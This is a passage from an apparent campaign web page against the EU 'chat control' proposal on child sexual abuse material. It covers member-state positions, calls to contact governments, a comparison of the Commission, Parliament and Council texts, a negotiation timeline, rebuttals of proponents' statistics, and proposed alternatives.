exert their influence in the Council of the EU and agree on a joint list of necessary fundamental changes to the proposal. Absent such revision they should ask the European Commission to withdraw the chat control proposal as it stands. ## Where your government stands on Chat Control In favour | Not in favour | Undecided / unclear | ---|---|---| Bulgaria | Austria | Italy | Croatia | Belgium | Portugal | Cyprus | Czech Republic | | Denmark | Estonia | | Finland | Germany | | France | Luxembourg | | Greece | Netherlands | | Hungary | Poland | | Ireland | Slovenia | | Latvia | || Lithuania | || Malta | || Romania | || Slovakia | || Spain | || Sweden | Note that the nine countries that have expressed criticism only just form a blocking minority. They are under massive pressure and may change their stance at any time. ## Take action now These are ideas for what you can do in the short-term or with some preparation. **Start with**: - Ask you government to call on the European Commission to **withdraw the chat control proposal**. Point them to a joint letter that was recently sent by children’s rights and digital rights groups from across Europe. Click here to find the letter and more information. Or click here to find arguments against chat control. - Check your government’s position (see above) and, if they are in favour, ask them to explain why. **Tell them that as a citizen you want them to reject the proposal**, that chat control is widely criticised by experts and that none of the proposals tabled in the Council of the EU so far are acceptable. Ask them to protect the privacy of your communication and your IT security. **Share this call to action**online. When reaching out to your government, the ministries of the interior (in the lead) of justice and of digitisation/telecommunications/economy are your best bet. You can additionally contact the permanent representation of your country with the EU. It can also be useful to reach out to Members of your national Parliament who can determine your country’s vote (e.g. the EU affairs committee). Talk to your political representatives. Whether it is the newly elected MEPs of the European Parliament or local groups of the political parties: make sure everyone is aware of what chat control is about and that you expect politicians to defend your fundamental rights against the proposal! When contacting politicians, writing a real letter, calling in or attending a local party event or visiting a local office to have a conversation will have a stronger impact than writing an e-mail. You can find contact details on their websites. Just remember that while you should be determined in your position, remain polite, as they will otherwise disregard what you have to say. Here is useful argumentation on chat control. And here is argumentation for why the minor modifications so far envisioned by EU governments fail to address the dangers of chat control. As we continue the fight against against chat control, we need to expand the resistance: - Explain to your friends why this is an important topic. This short video, translated to all European languages, is a good start – feel free to use and share it. Also available on PeerTube (EN) and YouTube (DE). - Taking action works better and is more motivating when you work together. So try to find allies and form alliances. Whether it is in a local hackspace or in a sports club: your local action group against chat control can start anywhere. Then you can get creative and decide which type of action suits you best. **Take action now. We are the resistance against chat control!** What is important now is to increase pressure on the negotiators: Reach out to your government. Politely tell them your concerns about chat control (arguments here). Experience shows that phone calls are more effective than e-mails or letters. The official name of the planned mandatory chat control law is “Proposal for a Regulation laying down rules to prevent and combat child sexual abuse”. | Talk about it! Inform others about the dangers of chat control. Use the sharepics and videos available here, or the sharepics below. | Generate attention on social media! Use the hashtags #chatcontrol and #secrecyofcorrespondence | Generate media attention! So far very few media have covered the messaging and chat control plans of the EU. Get in touch with newspapers and ask them to cover the subject – online and offline. | Ask your e-mail, messaging and chat service providers! Avoid Gmail, Facebook Messenger, outlook.com and X-Box, where indiscriminate chat control is already taking place. Ask your email, messaging and chat providers if they generally monitor private messages for suspicious content, or if they plan to do so. | **Sharepics and Infographics for you to download and use**: *(right click on the images and select “Save Image As….”)* **The Chat Control 2.0 proposal** in detail This is what the current proposal actually entails: EU Commission’s Chat Control Proposal | Consequences | EU Parliament’s mandate | EU Council’s 2024 draft mandate | Envisaged are chat control, network blocking, mandatory age verification for messages and chats, age verification for app stores and exclusion of minors from installing many apps | no chat control, optional network blocking, no mandatory age verification for messages and chats, no general exclusion of minors from installing many apps | like Commission | | All services normally provided for remuneration (including ad-funded services) are in scope, without no threshold in size, number of users etc. | Only non-commercial services that are not ad-funded, such as many open source software, are out of scope | like Commission | like Commission | Providers established outside the EU will also be obliged to implement the Regulation | See Article 33 of the proposal | like Commission | like Commission | The communication services affected include telephony, e-mail, messenger, chats (also as part of games, on part of games, on dating portals, etc.), videoconferencing | Texts, images, videos and speech (e.g. video meetings, voice messages, phone calls) would have to be scanned | telephony excluded, no scanning of text messages, but scanning of e-mail, messenger, chat, videoconferencing services | like Parliament | End-to-end encrypted messenger services are not excluded from the scope | Providers of end-to-end encrypted communications services will have to scan messages on every smartphone (client-side scanning) and, in case of a hit, report the message to the police | End-to-end encrypted messenger services are excluded from the scope | like Commission | Hosting services affected include web hosting, social media, video streaming services, file hosting and cloud services | Even personal storage that is not being shared, such as Apple’s iCloud, will be subject to chat control | like Commission | like Commission, additionally search engines | Services that are likely to be used for illegal material or for child grooming are obliged to search the content of personal communication and stored data (chat control) without suspicion and indiscriminately | Since presumably every service is also used for illegal purposes, all services will be obliged to deploy chat control | Targeted scanning of specific individuals and groups reasonably suspicious of being linked to child sexual abuse material only | like Commission. Scanning limited to “high risk” services but practically all services would remain in scope. User can refuse scanning but would then be blocked from receiving and sending images, videos or hyperlinks. Security and military accounts to be exempted from scanning. | The authority in the provider’s country of establishment is obliged to order the deployment of chat control | There is no discretion in when and in what extent chat control is ordered | like Commission | like Commission. Additionally providers would continue to be permitted to voluntarily scan for known/unknown material and grooming indications for a period of 54 months. | Chat control involves automated searches for known CSEM images and videos, suspicious messages/files will be reported to the police | According to the Swiss Federal Police, 80% of the reports they receive (usually based on the method of hashing) are criminally irrelevant. Similarly in Ireland only 20% of NCMEC reports received in 2020 were confirmed as actual “child abuse material”. | like Commission | like Commission | Chat control also involves automated searches for unknown CSEM pictures and videos, suspicious messages/files will be reported to the police | Machine searching for unknown abuse representations is an experimental procedure using machine learning (“artificial intelligence”). The algorithms are not accessible to the public and the scientific community, nor does the draft contain any disclosure requirement. The error rate is unknown and is not limited by the draft regulation. Presumably, these technologies result in massive amounts of false reports. The draft legislation allows providers to pass on automated hit reports to the police without humans checking them. | like Commission | excluded (September 2024) | Chat control involves machine searches for possible child grooming, suspicious messages will be reported to the police | Machine searching for potential child grooming is an experimental procedure using machine learning (“artificial intelligence”). The algorithms are not available to the public and the scientific community, nor does the draft contain a disclosure requirement. The error rate is unknown and is not limited by the draft regulation, presumably these technologies result in massive amounts of false reports. | no searches for grooming | no searches for grooming | Communication services that can be misused for child grooming (thus all) must verify the age of their users | In practice, age verification involves full user identification, meaning that anonymous communication via email, messenger, etc. will effectively be banned. Whistleblowers, human rights defenders and marginalised groups rely on the protection of anonymity. | no mandatory age verification for users of communication services | like Commission | App stores must verify the age of their users and block children/young people under 16 from installing apps that can be misused for solicitation purposes | All communication services such as messenger apps, dating apps or games can be misused for child grooming (according to surveys) and would be blocked for children/young people to use. | Where an app requires consent in data processing, dominant app stores (Google, Apple) are to make a reasonable effort to ensure parental consent for users below 16 | like Commission | Internet access providers can be obliged to block access to prohibited and non-removable images and videos hosted outside the EU by means of network blocking (URL blocking) | Network blocking is technically ineffective and easy to circumvent, and it results in the construction of a technical censorship infrastructure | Internet access providers MAY be obliged to block access (discretion) | like Commission | ## Changes proposed by the European Parliament In November 2023, the European Parliament nearly unanimously adopted a negotiating mandate for the draft law. With the Pirate Party MEP Patrick Breyer, the most determined opponent of chat control sat at the negotiating table. The result: Parliament wants to pull the following fangs out of the EU Commission’s extreme draft: - We want to safeguard the digital secrecy of correspondence and **remove the plans for blanket chat control**, which violate fundamental rights and stand no chance in court. The current voluntary chat control of private messages (not social networks) by US internet companies is being phased out. Targeted telecommunication surveillance and searches will only be permitted with a judicial warrant and only limited to persons or groups of persons suspected of being linked to child sexual abuse material. - We want to **safeguard trust in secure end-to-end encryption**. We clearly exclude so-called client-side scanning, i.e. the installation of surveillance functionalities and security vulnerabilities in our smartphones. - We want to **guarantee the right to anonymous communication**and remove mandatory age verification for users of communication services. Whistleblowers can thus continue to leak wrong-doings anonymously without having to show their identity card or face. **Removing instead of blocking:**Internet access blocking ist to be optional. Under no circumstances must legal content be collaterally blocked.- We prevent the digital house arrest: **We don’t want to oblige app stores to prevent young people under 16 from installing messenger apps, social networking and gaming apps**‘for their own protection’ as proposed. The General Data Protection Regulation is maintained. Parliament wants to protect young people and victims of abuse much more effectively than the EU Commission’s extreme proposal: **Security by design:**In order to protect young people from grooming, Parliament wants internet services and apps to be secure by design and default. It must be possible to block and report other users. Only at the request of the user should he or she be publicly addressable and see messages or pictures of other users. Users should be asked for confirmation before sending contact details or nude pictures. Potential perpetrators and victims should be warned where appropriate, for example if they try to search for abuse material using certain search words. Public chats at high risk of grooming are to be moderated.- In order to **clean the net**of child sexual abuse material, Parliament wants the new EU Child Protection Centre to proactively search publicly accessible internet content automatically for known CSAM. This crawling could also be used in the darknet and is thus more effective than private surveillance measures by providers. - Parliament wants to oblige providers who become aware of clearly illegal material to **remove it**– unlike in the EU Commission’s proposal. Law enforcement agencies who become aware of illegal material would be obliged to report it to the provider for removal. This is our reaction to the case of the darknet platform Boystown, where the worst abuse material was further disseminated for months with the knowledge of Europol. **Beware: This is only the Parliament’s negotiating mandate**, which usually only partially prevails. Most EU governments continue to support the original chat control proposal of the EU Commission without significant compromises. However, many other governments prevent such a positioning (so-called blocking minority). As soon as the EU governments have reached an agreement in Council, Parliament, Council and Commission will start the so-called trilogue negotiations on the final version of the regulation. ## Amendments discussed by EU governments In June 2024 an extremely narrow “blocking minority” of EU governments prevented the EU Council from endorsing chat control. Chat control proponents achieved 63.7% of the 65% of votes threshold required in the Council of the EU for a qualified majority. Minor changes to the proposal are on the table in Council to woo critical governments: - Chat control detection orders would be limited to “high risk” services. Governments would have broad discretion concerning risk classification, and anonymity, encryption or real-time communications is per se considered “high risk”, meaning that effectively chat control would still be applied indiscriminately and to all relevant services and apps with communication functions. In any case, the service used is no justification for searching the private chats of millions of citizens who are not even remotely connected to any wrongdoing. - Technologies used for detection in end-to-end encrypted services would be “vetted” with regard to their effectiveness, their impact on fundamental rights and risks to cyber security. However the so-called “client-side scanning” on our smartphones creates risks for hacking and abuse, and destroys trust in the confidentiality of private communication. Since several providers (Signal, Threems) have announced they would rather cease services in the EU than implement bugs in their apps, the proposal would effectively cut Europeans off communication with other users of these apps. - Scanning would be limited to visual content and URLs. But it is exactly the scanning of visual content which under the current voluntary scheme exposes intimate family photos to viewing by unknown persons, results in thosands of false positives and leads to mass criminalisation of teenagers. - Using AI to automatically search for previously unknown CSAM would result in the disclosure of chats only after two hits. But this limitation will usually be ineffective as falsely flagged beach photos or consensual sexting rarely involve just a single photo. The EU Commissioner for Home Affairs has herself herself stated that three out of four of the disclosed chats and photos are not actionable for the police. Algorithms and hash databases are generally unreliable in distinguishing legal from illegal content. - Scanning (“upload moderation”) would be applied only to users who consent. If a user does not agree to the scanning of their chats, they would still be able to use the service for sending text messages, but would no longer be able to send or receive images, videos, iconography, stickers or URLs. Clearly this does not give users a real choice, as using messenger services purely for texting is not an option in the 21st century. - Professional accounts of staff of intelligence agencies, police and military would be exempted from the scanning of chats and messages. This exception proves that interior ministers know exactly just how unreliable and dangerous the snooping algorithms are that they want to unleash on us citizens. Ministers themselves do not want to suffer the consequences of the destruction of digital privacy of correspondence and secure encryption that they would impose on us. Here is a list of the comprehensive changes that are missing to make the proposal acceptable. Since September 2024 the new Hungarian Presidency is additionally proposing to remove the obligation to use AI to automatically search for previously unknown CSAM (this would remain voluntary). However: - this fails to address the fundamental concerns about chat control, including indiscriminate mass monitoring of private communications and the end of secure end-to-end encryption which keeps us safe - the Council’s Legal Service reaffirmed that its concerns regarding a likely violation of the fundamental right to privacy persist - reports on sharing known CSAM are routinely discarded by law enforcement as not criminally relevant or „non actionable“, for example because it is unclear whether participants acted intentionally, what age persons have, because specificities of national criminal law in a specific country (e.g. is fictional/cartoon material criminal). No algorithm can reliably make a legal assessment. According to Meta, which is the source of the vast majority of reports, they currently only look for known CSAM in EU communications, and yet at least 50% NCMEC of reports made to German law enforcement agencies are not criminally relevant, according to the federal crime agency (BKA). EU Commissioner Johansson admitted in late 2023 that Johansson admitted that 75% of NCMEC reports are not of a quality that the police can work with. - looking for reoccurences of known material will not save children from ongoing abuse - mass prosecution of known CSAM will divert resources needed to investigate contact abuse **More videos on Chatcontrol are available in this playlist** ## The negotiations: A timeline **2020: The European Commission proposed “temporary” legislation allowing for chat control** The proposed “temporary” legislation allows the searching of all private chats, messages, and emails for illegal depictions of minors and attempted initiation of contacts with minors. This allows the providers of Facebook Messenger, Gmail, et al, to scan every message for suspicious text and images. This takes place in a fully automated process, in part using error-prone “artificial intelligence”. If an algorithm considers a message suspicious, its content and meta-data are disclosed (usually automatically and without human verification) to a private US-based organization and from there to national police authorities worldwide. The reported users are not notified. **6 July 2021: The European Parliament adopted the legislation allowing for chat control.** The European Parliament voted in favour for the ePrivacy Derogation, which allows for voluntary chat control for messaging and email providers. As a result of this some U.S. providers of services such as Gmail and Outlook.com are already performing such automated messaging and chat controls. **9 May 2022: Member of the European Parliament Patrick Breyer has filed a lawsuit against U.S. company Meta.** According to the case-law of the European Court of Justice the permanent and comprehensive automated analysis of private communications **violates fundamental rights and is prohibited **(paragraph 177). Former judge of the European Court of Justice Prof. Dr. Ninon Colneric has extensively analysed the plans and **concludes in a legal assessment that the EU legislative plans on chat control are not in line with the case law of the European Court of Justice and violate the fundamental rights of all EU citizens** to respect for privacy, to data protection and to freedom of expression. On this basis the lawsuit was filed. **11 Mai 2022: The Commission presented a proposal to make chat control mandatory for service providers.** On 11 May 2022 the EU Commission made a second legislative proposal, in which **the EU Commission obliges all providers of chat, messaging and e-mail services to deploy this mass surveillance technology in the absence of any suspicion. However, a representative survey conducted in March 2021 clearly shows that a majority of Europeans oppose the use of chat control ** (Detailed poll results here)**.** **8 May 2022**: Meeting Council Law Enforcement Working Party**22 June 2022**: Meeting Council Law Enforcement Working Party**5 July 2022**: Meeting Council Law Enforcement Working Party**20 July 2022**: Meeting Council Law Enforcement Working Party (Compromise text)**6 September 2022**: Meeting Council Law Enforcement Working Party**22 September 2022**: Meeting Council Law Enforcement Working Party (Compromise text: Art. 1-2, 25-39)**28 September 2022:**Meeting Council workshop on detection technologies**5 October 2022**: Meeting Council Law Enforcement Working Party**10 October 2022:**The proposal was presented and discussed in the European Parliament’s lead LIBE Committee (video recording)**19 October 2022**: Meeting Council Law Enforcement Working Party**3 November****2022:**Council meeting**24 November 2022:**Council workshop on age verification and encryption**30 November****2022**: First LIBE Shadows meeting**14 December 2022**: LIBE Shadows meeting (Hearings)**10 January 2023**: LIBE Shadows meeting (Hearings)**19 & 20 January 2023:**Council Law Enforcement Working Party Police meeting**24 January 2023**: LIBE Shadows meeting (Hearings)**7 Feburary 2023**: LIBE Shadows meeting (Tech Companies)**27 Feburary 2023**: LIBE Shadows meeting**7 March 2023**: LIBE Shadows meeting**16 March 2023**: Council Law Enforcement Working Party (Draft compromise discussed)**21 March 2023**: LIBE Shadows meeting**29 March 2023**: Meeting Council Law Enforcement Working Party**End of March:**Substitute Impact Assessment will be submitted**13 April 2023:**Statement of German Federal Government**13 April 2023:**Presentation of Impact Assessment in LIBE**19 April 2023:**LIBE Rapporteur submits draft report**26 April 2023:**Presentation of draft report in LIBE**25 April 2023**: Council Law Enforcement Working Party (Draft compromise discussed)**8-19 May 2023:**Deadline for submitting amendments**25-26 May 2023**: Council Law Enforcement Working Party (Draft compromise discussed)**31 May 2023**: Meeting Coreper I**31 May 2023**: Shadows meeting**7 June 2023**: Shadows meeting**8 & 9 June 2023:**Justice and Home Affairs Council to adopt partial general approach (Draft compromise discussed)**28 June****2023**: Shadows meeting**5 July 2023**: Shadows meeting**12 July 2023**: Shadows meeting**19 July 2023**: Shadows meeting**5 September 2023**: Shadows meeting**14 September 2023**: Council Law Enforcement Working Party**17 September 2023**: Council Law Enforcement Working Party (Draft compromise discussed)**20 September 2023**: Meeting Coreper- Shadows meetings see calendar entries “CSAM” **16 October 2023:**Debate among embassadors in COREPER**18 October 2023:**Shadows meeting**24 October 2023:**Shadows meeting**25 October 2023:**LIBE hearing of Commissioner Johansson on lobbying allegations**14 November 2023:**Almost unanimous adoption by the LIBE Committee of the European Parliament’s position and mandate for trilogue negotiations**23 November 2023:**Confirmation of the negotiating mandate adopted in the LIBE Committee by absence of a request for a vote in plenary**30 November 2023:**Commission proposes extension of voluntary chat control 1.0**1 December 2023:**Council Presidency informed the Law Enforcement Working Group about the “state of play”**4 December 2023:**EU Commission informed the justice and home affairs ministers**17 January 2024:**Draft report on extending voluntary chat control 1.0**22 January 2024:**Deadline for submitting amendments on extending voluntary chat control 1.0**25 January 2024:**Shadows meeting on extending voluntary chat control 1.0**29 January 2024:**LIBE vote on extending voluntary chat control 1.0**5 February 2024:**Announcement of vote in plenary on the EP mandate on extending voluntary chat control 1.0**7 February 2024:**Plenary vote on the EP mandate on extending voluntary chat control 1.0**12 February 2024:**Trilogue on extending voluntary chat control 1.0**second week of February 2024:**Agreement between the European Parliament and EU governments (EU Council) on the extension of voluntary chat control (chat control 1.0)**1 March 2024:**Council law enforcement working party discussion on mandatory chat control 2.0**4****March 2024**: LIBE committee vote on the trilogue result on extending voluntary chat control (chat control 1.0)**5 March 2024:**EU interior ministers discussion on mandatory chat control (chat control 2.0)**19 March 2024:**Council law enforcement working party discussion on mandatory chat control 2.0**3 April 2024:**Council law enforcement working party discussion on mandatory chat control 2.0**10 April 2024**: European Parliament vote on the trilogue result on extending voluntary chat control (chat control 1.0)**15 April 2024:**Council law enforcement working party discussion on mandatory chat control 2.0**8 May 2024:**Council law enforcement working party discussion on mandatory chat control 2.0**24 May 2024**: Council law enforcement working party discussion on mandatory chat control 2.0**4 June 2024:**Council law enforcement working party discussion on mandatory chat control 2.0**13 June 2024**: Council Presidency Progress Report and discussion of EU interior ministers**20 June 2024**: COREPER failed to adopt mandatory chat control (chat control 2.0) position**4 September 2024:**Policy debate in COREPER**23 September 2024:**Discussion of the latest proposal on mandatory chat control 2.0 by the Council Justice and Home Affairs Councillors~~2 October 2024:~~~~COREPER discussion and possibly adoption of mandatory chat control 2.0~~(removed from agenda)**7 October 2024:**COREPER discussion of mandatory chat control 2.0**10 October 2024:**EU interior ministers scheduled to discuss mandatory chat control (chat control 2.0) position. Livestream starting at 12.50h and recording here**tbc:**Envisaged trilogue negotiations on the final text of the Chatcontrol 2.0 legislation between Commission, Parliament and Council, as well as adoption of the result # How does this affect you? Messaging and chat control scanning: **All of your chat conversations and emails**will be automatically searched for suspicious content. Nothing remains confidential or secret. There is no requirement of a court order or an initial suspicion for searching your messages. It occurs always and automatically.- If an algorithms classifies the content of a message as suspicious, **your private or intimate photos**may be viewed by staff and contractors of international corporations and police authorities. Also your private nude photos may be looked at by people not known to you, in whose hands your photos are not safe. **Flirts and sexting may be read**by staff and contractors of international corporations and police authorities, because text recognition filters looking for “child grooming” frequently falsely flag intimate chats.**You can falsely be reported and investigated**for allegedly disseminating child sexual exploitation material. Messaging and chat control algorithms are known to flag completely legal vacation photos of children on a beach, for example. According to Swiss federal police authorities, 80% of all machine-generated reports turn out to be without merit. Similarly in Ireland only 20% of NCMEC reports received in 2020 were confirmed as actual “child abuse material”. Nearly 40% of all criminal investigation procedures initiated in Germany for “child pornography” target minors.- On your next **trip overseas,**you can expect big problems. Machine-generated reports on your communications may have been passed on to other countries, such as the USA, where there is no data privacy – with incalculable results. **Intelligence services and hackers may be able to spy on your private chats and emails.**The door will be open for anyone with the technical means to read your messages if secure encryption is removed in order to be able to screen messages.**This is only the beginning**. Once the technology for messaging and chat control has been established, it becomes very easy to use them for other purposes. And who guarantees that these incrimination machines will not be used in the future on our smart phones and laptops? Age verification: - You can **no longer set up anonymous e-mail or messenger accounts or chat anonymously**without needing to present an ID or your face, making you identifiable and risking data leaks. This inhibits for instance sensitive chats related to sexuality, anonymous media communications with sources (e.g. whistleblowers) as well as political activity. **If you are under 16, you will no longer be able to install the following apps from the app store**(reason given: risk of grooming): Messenger apps such as Whatsapp, Snapchat, Telegram or Twitter, social media apps such as Instagram, TikTok or Facebook, games such as FIFA, Minecraft, GTA, Call of Duty, Roblox, dating apps, video conferencing apps such as Zoom, Skype, Facetime.- If you don’t use an appstore, compliance with the provider’s minimum age will still be verified and enforced. **If you are under the minimum age of 16 years you can no longer use Whatsapp**due to the proposed age verification requirements; the same applies to the online functions of the game FIFA 23.**If you are under 13 years old you’ll no longer be able to use TikTok, Snapchat or Instagram.** Click here for further arguments against messaging and chat control Click here to find out what you can do to stop messaging and chat control **Additional information and arguments** **Debunking Myths****Additional information and arguments****Alternatives****Document pool****Critical commentary and further reading** ## Debunking Myths When the draft law on chat control was first presented in May 2022, the EU Commission promoted the controversial plan with various arguments. In the following, various claims are questioned and debunked: **1. “Today, photos and videos depicting child sexual abuse are massively circulated on the Internet. In 2021, 29 million cases were reported to the U.S. National Centre for Missing and Exploited Children.”** To speak exclusively of depictions of child sexual abuse in the context of chat control is misleading. To be sure, child sexual exploitation material (CSEM) is often footage of sexual violence against minors (child sexual abuse material, CSAM). However, an international working group of child protection institutions points out that criminal material also includes recordings of sexual acts or of sexual organs of minors in which no violence is used or no other person is involved. Recordings made in everyday situations are also mentioned, such as a family picture of a girl in a bikini or naked in her mother’s boots. Recordings made or shared without the knowledge of the minor are also covered. Punishable CSEM also includes comics, drawings, manga/anime, and computer-generated depictions of fictional minors. Finally, criminal depictions also include self-made sexual recordings of minors, for example, for forwarding to partners of the same age (“sexting”). The study therefore proposes the term “depictions of sexual exploitation” of minors as a correct description. In this context, recordings of children (up to 14 years of age) and adolescents (up to 18 years of age) are equally punishable. **2. “In 2021 alone, 85 million images and videos of child sexual abuse were reported worldwide.”** There are many misleading claims circulating about how to quantify the extent of sexually exploitative images of minors (CSEM). The figure the EU Commission uses to defend its plans comes from the U.S. nongovernmental organization NCMEC (National Center for Missing and Exploited Children) and includes duplicates because CSEM is shared multiple times and often not deleted. Excluding duplicates, 22 million unique recordings remain of the 85 million reported. 75 percent of all NCMEC reports from 2021 came from Meta (FB, Instagram, Whatsapp). Facebook’s own internal analysis says that “more than 90 percent of [CSEM on Facebook in 2020] was identical or visually similar to previously reported content. And copies of just six videos were responsible for more than half of the child-exploitative content.” So the NCMEC’s much-cited numbers don’t really describe the extent of online recordings of sexual violence against children. Rather, they describe how often Facebook discovers copies of footage it already knows about. That, too, is relevant. Not all unique recordings reported to NCMEC show violence against children. The 85 million depictions reported by NCMEC also include consensual sexting, for example. The number of depictions of abuse reported to NCMEC in 2021 was 1.4 million. 7% of NCMEC’s global SARs go to the European Union. Moreover, even on Facebook, where chat control has long been used voluntarily, the numbers for the dissemination of abusive material continue to rise. Chat control is thus not a solution. **3. “64% increase in reports of confirmed child sexual abuse in 2021 compared to the previous year.”** That the voluntary chat control algorithms of large U.S. providers have reported more CSEM does not indicate how the amount of CSEM has evolved overall. The very configuration of the algorithms has a large impact on the number of SARs. Moreover, the increase shows that the circulation of CSEM cannot be controlled by means of chat control. **4. “Europe is the global hub for most of the material.”** 7% of global NCMEC SARs go to the European Union. Incidentally, European law enforcement agencies such as Europol and BKA knowingly do not report abusive material to storage services for removal, so the amount of material stored here cannot decrease. **5. “A Europol-backed investigation based on a report from an online service provider led to the rescue of 146 children worldwide, with over 100 suspects identified across the EU.”** The report was made by a cloud storage provider, not a communications service provider. To screen cloud storage, it is not necessary to mandate the monitoring of everyone’s communications. If you want to catch the perpetrators of online crimes related to child abuse material, you should use so-called honeypots and other methods that do not require monitoring the communications of the entire population. **6. “Existing means of detecting and removing child sexual expoitation material will no longer be available when the current interim regulation expires in 2024.”** Hosting service providers (filehosters, clouds) and social media providers will be allowed to continue scanning after the ePrivacy exemption expires. No regulation is needed for removing child sexual exploitation material, either. For providers of communications services, the regulation for voluntary chat scanning (chat control 1) could be extended in time without requiring all providers to scan (as per chat control 2). **7. metaphors: Chat control is “like a spam filter” / “like a magnet looking for a needle in a haystack: the magnet doesn’t see the hay.” / “like a police dog sniffing out letters: it has no idea what’s inside.” The content of your communication will not be seen by anyone if there is no hit. “Detection for cybersecurity purposes is already taking place, such as the detection of links in WhatsApp” or spam filters.** Malware and spam filters do not disclose the content of private communications to third parties and do not result in innocent people being flagged. They do not result in the removal or long-term blocking of profiles in social media or online services. **8. “As far as the detection of new abusive material on the net is concerned, the hit rate is well over 90 %. … Some existing grooming detection technologies (such as Microsoft’s) have an “accuracy rate” of 88%, before human review.”** With the unmanageable number of messages, even a small error rate results in countless false positives that can far exceed the number of correct messages. Even with a 99% hit rate, this would mean that of the 100 billion messages sent daily via Whatsapp alone, 1 billion (i.e., 1,000,000,000) false positives would need to be verified. And that’s every day and only on a single platform. The “human review burden” on law enforcement would be immense, while the backlog and resource overload are already working against them. Separately, an FOI request from former MEP Felix Reda exposed the fact that these claims about accuracy come from industry – from those who have a vested interest in these claims because they want to sell you detection technology (Thorn, Microsoft). They refuse to submit their technology to independent testing, and we should not take their claims at face value. ## Mass surveillance is the wrong approach to fighting “child pornography” and sexual exploitation **Scanning private messages and chats does not contain the spread of CSEM.**Facebook, for example, has been practicing chat control for years, and the number of automated reports has been increasing every year, most recently reaching 22 million in 2021.**Mandatory chat control will not detect the perpetrators**who record and share child sexual exploitation material. Abusers do not share their material via commercial email, messenger, or chat services, but organize themselves through self-run secret forums without control algorithms. Abusers also typically upload images and videos as encrypted archives and share only the links and passwords. Chat control algorithms do not recognize encrypted archives or links.**The right approach would be to delete stored CSEM where it is hosted online.**However, Europol does not report known CSEM material.**Chat control harms the prosecution of child abuse**by flooding investigators will millions of automated reports, most of which are criminally irrelevant. ## Message and chat control harms everybody **All citizens are placed under suspicion, without cause, of possibly having committed a crime.**Text and photo filters monitor all messages, without exception.**No judge is required to order to such monitoring – contrary to the analog world which guarantees the privacy of correspondence and the confidentiality of written communications.**According to a judgment by the European Court of Justice, the permanent and general automatic analysis of private communications violates fundamental rights (case C-511/18, Paragraph 192). Nevertheless, the EU now intends to adopt such legislation. For the court to annul it can take years. Therefore we need to prevent the adoption of the legislation in the first place.**The confidentiality of private electronic correspondence is being sacrificed.**Users of messenger, chat and e-mail services risk having their private messages read and analyzed. Sensitive photos and text content could be forwarded to unknown entities worldwide and can fall into the wrong hands. NSA staff have reportedly circulated nude photos of female and male citizens in the past. A Google engineer has been reported to stalk minors.**Indiscriminate messaging and chat control wrongfully incriminates hundreds of users every day.**According the Swiss Federal Police, 80% of machine-reported content is not illegal, for example harmless holiday photos showing nude children playing at a beach. Similarly in Ireland only 20% of NCMEC reports received in 2020 were confirmed as actual “child abuse material”.**Securely encrypted communication is at risk.**Up to now, encrypted messages cannot be searched by the algorithms. To change that back doors would need to be built in to messaging software. As soon as that happens, this security loophole can be exploited by anyone with the technical means needed, for example by foreign intelligence services and criminals. Private communications, business secrets and sensitive government information would be exposed. Secure encryption is needed to protect minorities, LGBTQI people, democratic activists, journalists, etc.**Criminal justice is being privatized.**In the future the algorithms of corporations such as Facebook, Google, and Microsoft will decide which user is a suspect and which is not. The proposed legislation contains no transparency requirements for the algorithms used. Under the rule of law the investigation of criminal offences belongs in the hands of independent judges and civil servants under court supervision.**Indiscriminate messaging and chat control creates a precedent and opens the floodgates to more intrusive technologies and legislation**. Deploying technology for automatically monitoring all online communications is dangerous: It can very easily be used for other purposes in the future, for example copyright violations, drug abuse, or “harmful content”. In authoritarian states such technology is to identify and arrest government opponents and democracy activists. Once the technology is deployed comprehensively, there is no going back. **Messaging and chat control harms children and abuse victims** Proponents claim indiscriminate messaging and chat control facilitates the prosecution of child sexual exploitation. However, this argument is controversial, even among victims of child sexual abuse. In fact messaging and chat control can hurt victims and potential victims of sexual exploitation: **Safe spaces are destroyed.**Victims of sexual violence are especially in need of the ability to communicate safely and confidentially to seek counseling and support, for example to safely exchange among each other, with their therapists or attorneys. The introduction of real-time monitoring takes these safe rooms away from them. This can discourage victims from seeking help and support.**Self-recorded nude photos of minors (sexting) end up in the hands of company employees**and police where they do not belong and are not safe.**Minors are being criminalized.**Especially young people often share intimate recordings with each other (sexting). With messaging and chat control in place, their photos and videos may end up in the hands of criminal investigators. German crime statistics demonstrate that nearly 40% of all investigations for child pornography target minors.**Indiscriminate messaging and chat control does not contain the circulation of illegal material but****actually makes it more difficult to prosecute child sexual exploitation.**It encourages offenders to go underground and use private encrypted servers which can be impossible to detect and intercept. Even on open channels, indiscriminate messaging and chat control does not contain the volume of material circulated, as evidenced by the constantly rising number of machine reports. ### Talk at Chaos Computer Congress (29 December 2023): It’s not over yet ## Alternatives **Strengthening the capacity of law enforcement** Currently, the capacity of law enforcement is so inadequate it often takes months and years to follow up on leads and analyse collected data. Known material is often neither analysed nor removed. Those behind the abuse do not share their material via Facebook or similar channels, but on the darknet. To track down perpetrators and producers, undercover police work must take place instead of wasting scarce capacities on checking often irrelevant machine reports. It is also essential to strengthen the responsible investigative units in terms of personnel and funding and financial resources, to ensure long-term, thorough and sustained investigations. Reliable standards/guidelines for the police handling of sexual abuse investgations need to be developed and adhered to. **Addressing not only symptoms, but the root cause** Instead of ineffective technical attempts to contain the spread of exploitation material that has been released, all efforts must focus on preventing such recordings in the first place. Prevention concepts and training play a key role because the vast majority of abuse cases never even become known. Victim protection organisations often suffer from unstable funding. **Fast and easily available support for (potential) victims** **Mandatory reporting mechanisms at online services:**In order to achieve effective prevention of online abuse and especially grooming, online services should be required to prominently place reporting functions on the platforms. If the service is aimed at and/or used by young people or children, providers should also be required to inform them about the risks of online grooming.**Hotlines and counseling centers:**Many national hotlines dealing with cases of reported abuse are struggling with financial problems. It is essential to ensure there is sufficient capacity to follow up on reported cases. **Improving media literacy** Teaching digital literacy at an early age is an essential part of protecting for protecting children and young people online. The children themselves must have the knowledge and tools to navigate the Internet safely. They must be informed that dangers also lurk online and learn to recognise and question patterns of grooming. This could be achieved, for example, through targeted programs in schools and training centers, in which trained staff convey knowledge and lead discussions. Children need to learn to speak up, respond and report abuse, even if the abuse comes from within their sphere of trust (i.e., by people close to them or other people they know and trust), which is often the case. They also need to have access to safe, accessible, and age-appropriate channels to report abuse without fear. ## Document pool on chat control 2.0 **EP legislative observatory** (continuously updated state of play) #### European Commission **Draft child sexual abuse regulation**and impact assessment (11 May 2022)- Non-paper Comments of the services of the Commission on some elements of the Draft Final Complementary Impact Assessment (17 May 2023) - Briefing for Commissioner Ylva Johansson for a meeting with a French minister 